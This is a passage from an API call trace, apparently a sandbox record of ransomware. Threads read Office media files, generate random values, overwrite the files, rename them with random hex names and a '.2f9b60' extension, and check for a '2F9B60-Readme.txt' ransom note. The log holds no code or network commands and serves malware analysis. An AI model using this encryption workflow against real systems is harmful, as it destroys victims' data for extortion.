Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x143abade [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x5200ecf7 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x4330f28d [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x38b422c7 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x178ae0fd [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x6f33ba1e [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x4ea24312 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x1b9dba37 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x5ab7513c [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0xee8e7e2 [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x128adbac [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x4d10334c [0131.071] RtlRandomEx (in: Seed=0x235cf8b0 | out: Seed=0x235cf8b0) returned 0x784b5520 [0131.082] ReadFile (in: hFile=0x1ac8, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x1232, lpNumberOfBytesRead=0x235cf8b0, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x235cf8b0*=0x1232, lpOverlapped=0x0) returned 1 [0131.104] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.104] WriteFile (in: hFile=0x1ac8, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x1232, lpNumberOfBytesWritten=0x235cf8b4, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x235cf8b4*=0x1232, lpOverlapped=0x0) returned 1 [0131.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668d0 [0131.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0131.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668a0) returned 1 [0131.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202668a0 [0131.113] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.113] WriteFile (in: hFile=0x1ac8, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x235cf9d0, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x235cf9d0*=0x10a, lpOverlapped=0x0) returned 1 [0131.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.127] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266990) returned 1 [0131.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266990 [0131.127] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202669f0 [0131.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202669f0) returned 1 [0131.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.128] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.128] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="76") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="e3") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="fa") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="ab") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="d9") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="a8") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="97") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="5b") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="fa") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="e7") returned 2 [0131.128] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="df") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="8e") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="dd") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="f9") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="52") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="51") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="65") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="00") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="9c") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="64") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="46") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="25") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="73") returned 2 [0131.129] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="f1") returned 2 [0131.129] RtlInitAnsiString (in: DestinationString=0x235cfa48, SourceString="76e3faabd9a8975bfae7df8eddf9525165009c64462573f1" | out: DestinationString="76e3faabd9a8975bfae7df8eddf9525165009c64462573f1") [0131.129] RtlAnsiStringToUnicodeString (in: DestinationString=0x235cfa18, SourceString="76e3faabd9a8975bfae7df8eddf9525165009c64462573f1", AllocateDestinationString=1 | out: DestinationString="76e3faabd9a8975bfae7df8eddf9525165009c64462573f1") returned 0x0 [0131.129] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c19c0 [0131.130] wcscat (in: _Dest=0x4205cbf0, _Source="76e3faabd9a8" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\76e3faabd9a8") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\76e3faabd9a8" [0131.130] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\76e3faabd9a8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\76e3faabd9a8.2f9b60" [0131.130] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\76e3faabd9a8.2f9b60", NtPathName=0x235cf9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\76e3faabd9a8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.132] NtQueryInformationFile (in: FileHandle=0x1ac8, IoStatusBlock=0x235cfa58, FileInformation=0x235cfa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x235cfa58, FileInformation=0x235cfa68) returned 0x0 [0131.132] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x235cfa58, FileInformation=0x235cfa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0131.136] FlushFileBuffers (hFile=0x1ac8) returned 1 [0131.153] CloseHandle (hObject=0x1ac8) returned 1 [0131.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050a770 [0131.156] wcscpy (in: _Dest=0x2050a770, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.156] wcscat (in: _Dest=0x2050a770, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.156] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050a770) returned 1 [0131.156] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aa40) returned 1 Thread: id = 1728 os_tid = 0x1718 [0131.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf")) returned 0x20 [0131.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF", dwFileAttributes=0x20) returned 1 [0131.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac0 [0131.115] GetFileSizeEx (in: hFile=0x1ac0, lpFileSize=0x2330f780 | out: lpFileSize=0x2330f780*=4534) returned 1 [0131.115] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x11b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.115] ReadFile (in: hFile=0x1ac0, lpBuffer=0x2330f700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2330f748, lpOverlapped=0x0 | out: lpBuffer=0x2330f700*, lpNumberOfBytesRead=0x2330f748*=0x4, lpOverlapped=0x0) returned 1 [0131.138] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0131.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ab0 [0131.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.138] NtQuerySystemTime (in: CurrentTime=0x2330f640 | out: CurrentTime=0x2330f640*=132462177363826000) returned 0x0 [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x694c4ec5 [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x69fb1453 [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x4f6e39ef [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0xc847d13 [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0xf47588e [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x204a3930 [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x43955d4a [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x7df90c69 [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x42fac502 [0131.138] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x3a45cdb0 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x2e5ce998 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x66ef0ef4 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x7815741 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x32a54ca3 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x18a275db [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x61dd5919 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x65089c27 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x7fb27252 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x40e5d5a5 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x19b6efbd [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x3ac7fa5f [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x15944132 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x4a0d5736 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x4a750dde [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x7792060e [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x789d7635 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x14a34e5f [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x7861f246 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x339ecd6c [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x4107293b [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x5ee5a657 [0131.139] RtlRandomEx (in: Seed=0x2330f630 | out: Seed=0x2330f630) returned 0x7548908f [0131.153] ReadFile (in: hFile=0x1ac0, lpBuffer=0x41f100b0, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x2330f630, lpOverlapped=0x0 | out: lpBuffer=0x41f100b0*, lpNumberOfBytesRead=0x2330f630*=0x11b6, lpOverlapped=0x0) returned 1 [0131.162] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.163] WriteFile (in: hFile=0x1ac0, lpBuffer=0x41f2e130*, nNumberOfBytesToWrite=0x11b6, lpNumberOfBytesWritten=0x2330f634, lpOverlapped=0x0 | out: lpBuffer=0x41f2e130*, lpNumberOfBytesWritten=0x2330f634*=0x11b6, lpOverlapped=0x0) returned 1 [0131.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0131.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0131.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f2e130) returned 1 [0131.184] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f100b0) returned 1 [0131.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.185] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.185] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20266960 [0131.185] SetFilePointerEx (in: hFile=0x1ac0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0131.185] WriteFile (in: hFile=0x1ac0, lpBuffer=0x168120*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2330f750, lpOverlapped=0x0 | out: lpBuffer=0x168120*, lpNumberOfBytesWritten=0x2330f750*=0x10a, lpOverlapped=0x0) returned 1 [0131.199] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0131.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504010 [0131.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266840) returned 1 [0131.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0131.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266840 [0131.200] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266810 [0131.200] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266810) returned 1 [0131.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0131.201] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0131.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f270 [0131.201] sprintf (in: _Dest=0x1cd9f270, _Format="%c%c" | out: _Dest="8e") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f272, _Format="%c%c" | out: _Dest="78") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f274, _Format="%c%c" | out: _Dest="bc") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f276, _Format="%c%c" | out: _Dest="06") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f278, _Format="%c%c" | out: _Dest="9d") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f27a, _Format="%c%c" | out: _Dest="e2") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f27c, _Format="%c%c" | out: _Dest="2b") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f27e, _Format="%c%c" | out: _Dest="f9") returned 2 [0131.201] sprintf (in: _Dest=0x1cd9f280, _Format="%c%c" | out: _Dest="0a") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f282, _Format="%c%c" | out: _Dest="19") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f284, _Format="%c%c" | out: _Dest="a4") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f286, _Format="%c%c" | out: _Dest="17") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f288, _Format="%c%c" | out: _Dest="38") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f28a, _Format="%c%c" | out: _Dest="20") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f28c, _Format="%c%c" | out: _Dest="b8") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f28e, _Format="%c%c" | out: _Dest="79") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f290, _Format="%c%c" | out: _Dest="cc") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f292, _Format="%c%c" | out: _Dest="4d") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f294, _Format="%c%c" | out: _Dest="2c") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f296, _Format="%c%c" | out: _Dest="a6") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f298, _Format="%c%c" | out: _Dest="7a") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f29a, _Format="%c%c" | out: _Dest="5b") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f29c, _Format="%c%c" | out: _Dest="7c") returned 2 [0131.202] sprintf (in: _Dest=0x1cd9f29e, _Format="%c%c" | out: _Dest="31") returned 2 [0131.202] RtlInitAnsiString (in: DestinationString=0x2330f7c8, SourceString="8e78bc069de22bf90a19a4173820b879cc4d2ca67a5b7c31" | out: DestinationString="8e78bc069de22bf90a19a4173820b879cc4d2ca67a5b7c31") [0131.202] RtlAnsiStringToUnicodeString (in: DestinationString=0x2330f798, SourceString="8e78bc069de22bf90a19a4173820b879cc4d2ca67a5b7c31", AllocateDestinationString=1 | out: DestinationString="8e78bc069de22bf90a19a4173820b879cc4d2ca67a5b7c31") returned 0x0 [0131.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1b80 [0131.203] wcscat (in: _Dest=0x4205cbf0, _Source="8e78bc069de2" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8e78bc069de2") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8e78bc069de2" [0131.203] wcscat (in: _Dest=0x4205cbf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8e78bc069de2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8e78bc069de2.2f9b60" [0131.203] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8e78bc069de2.2f9b60", NtPathName=0x2330f770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8e78bc069de2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0131.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b862460 [0131.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0131.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf484a0) returned 1 [0131.205] NtQueryInformationFile (in: FileHandle=0x1ac0, IoStatusBlock=0x2330f7d8, FileInformation=0x2330f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2330f7d8, FileInformation=0x2330f7e8) returned 0x0 [0131.205] NtSetInformationFile (FileHandle=0x1ac0, IoStatusBlock=0x2330f7d8, FileInformation=0x2330f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0131.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cbf0) returned 1 [0131.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 [0131.208] FlushFileBuffers (hFile=0x1ac0) returned 1 [0131.229] CloseHandle (hObject=0x1ac0) returned 1 [0131.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x2050aa40 [0131.231] wcscpy (in: _Dest=0x2050aa40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0131.231] wcscat (in: _Dest=0x2050aa40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0131.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0131.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050aa40) returned 1 [0131.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509de0) returned 1 Thread: id = 1729 os_tid = 0x171c [0131.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf")) returned 0x20 [0131.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF", dwFileAttributes=0x20) returned 1 [0131.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0252349.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0252349.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ac8 [0131.159] GetFileSizeEx (in: hFile=0x1ac8, lpFileSize=0x1e44fa80 | out: lpFileSize=0x1e44fa80*=5516) returned 1 [0131.160] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x1588, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.160] ReadFile (in: hFile=0x1ac8, lpBuffer=0x1e44fa00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e44fa48, lpOverlapped=0x0 | out: lpBuffer=0x1e44fa00*, lpNumberOfBytesRead=0x1e44fa48*=0x4, lpOverlapped=0x0) returned 1 [0131.165] SetFilePointerEx (in: hFile=0x1ac8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0131.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266a50 [0131.165] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0131.165] NtQuerySystemTime (in: CurrentTime=0x1e44f940 | out: CurrentTime=0x1e44f940*=132462177364138000) returned 0x0 [0131.165] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x6bbdafb1 [0131.165] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x4cea0fee [0131.165] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x47394668 [0131.165] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x5cb31e35 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x4edaff9 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x2749a041 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x5f99432f [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x3bf30a77 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x48e9435d [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x5f47aad8 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: Seed=0x1e44f930) returned 0x247d2050 [0131.166] RtlRandomEx (in: Seed=0x1e44f930 | out: 